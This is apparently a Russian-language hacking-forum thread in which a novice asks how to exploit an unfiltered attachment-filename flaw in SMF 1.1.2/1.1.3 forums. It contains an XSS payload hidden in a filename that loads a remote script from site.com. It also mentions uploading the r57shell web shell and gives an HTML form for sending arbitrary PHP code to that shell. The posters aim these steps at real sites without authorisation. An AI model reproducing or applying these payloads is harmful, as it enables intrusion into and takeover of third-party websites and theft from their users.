здрасте пишу тут редко... в основном читаю и пытаюсь сам разобраться... но похоже по жизни я тупой... короче прошу кое-что объснить если не трудно... решил я сий метод опробовать... установил SMF 1.1.3 и решил все сделать как написано тут (/thread42244-SMF.html) Значит узнать есть ли в этой версии "Отсутствует фильтрация atachment filename" я не знал как ... но там написано 1.1.2... поэтому решил посмотреть исправлена ли эта ошибка в 1.1.3 (посмотрел что они изменили) (/thread43089-SMF.html) но там про это ни слова поэтому решил попробовать (я вам грил я нуб) ну да ладно значит начал тока готовитьсяD) тупо скопировал ваш скрипт и тут подумал а нужно ли в нем что либо менять? в принципе это мой первый вопрос... ну короче я ничего не менял сохранил его ну и все... (зы решил я залить шелл) тут возник еще один вопрос Code: name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http: //site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txt вот в этом тоже наверное что либо надо менять? так как посмотрел я на src=. и наверное тут должен быть сам шел... (это мои нубские предположения) (шел я решил взять (r57shell.php)( ps то что я делаю ваще прально??) и видимо я должен буду туда ссылку на файл подставить? эт уже 3 или 4 вопрос... еще не понял для чего дан этот код? если шел уже буит работать? ps сразу грю сильно не ругайтесь... ps2 я понимаю скорее всего в версии 1.1.3 это уже исправлено но тогда представьте что я это делал на версии 1.1.2 ..хотя бы поясните ост вопросы если не трудно ps3 заранее пасиб
отправляешь скрипту пост запросы с шелл коммандами с параметром cd .. а то что выше.. это не исполнение комманд.. это xss, читай маны
Прочитал что ты там написал понял только последний твой вопрос... Вот его тебе обясню подробнее... После заливки шела берешь создаешь у ся на компе вот такую html страницу: Code: <form action="+++адрес скрипта+++" method="post"> Выполнить пхп код: <input type="text" name="cd" value=""> <input type="submit" value="выполнить"> </form> Вводишь какойнить пхп код который хочешь выполнить, меняешь +++адрес скрипта+++ на тот шо тебе нужен, давишь выполнить и усе...
Вопрос уже звучал: _http://www.simplemachines.ru/index.php/topic,2260.msg13571.html#msg13571 И был ответ (читать с цитаты): _http://www.simplemachines.ru/index.php/topic,2260.msg13666.html#msg13666 Ссылка на модуль (естественно, все на английском): _http://www.modsecurity.org/download/index.html Хочу узнать, это гон?
мде короче все что было (в моих силах) я сделал... понятно что профы взломают но мне не удалось... поюзал сплойт попробывал чрез аватарку фотку итд... стоят ограничения везде... сканил сканером ничего особо важного=( похоже мне такой сайт с форумом который уже залатан... в принципе похоже что Smf так свой баг и не исправил.... спасиб всем...=) пойдем дальше+)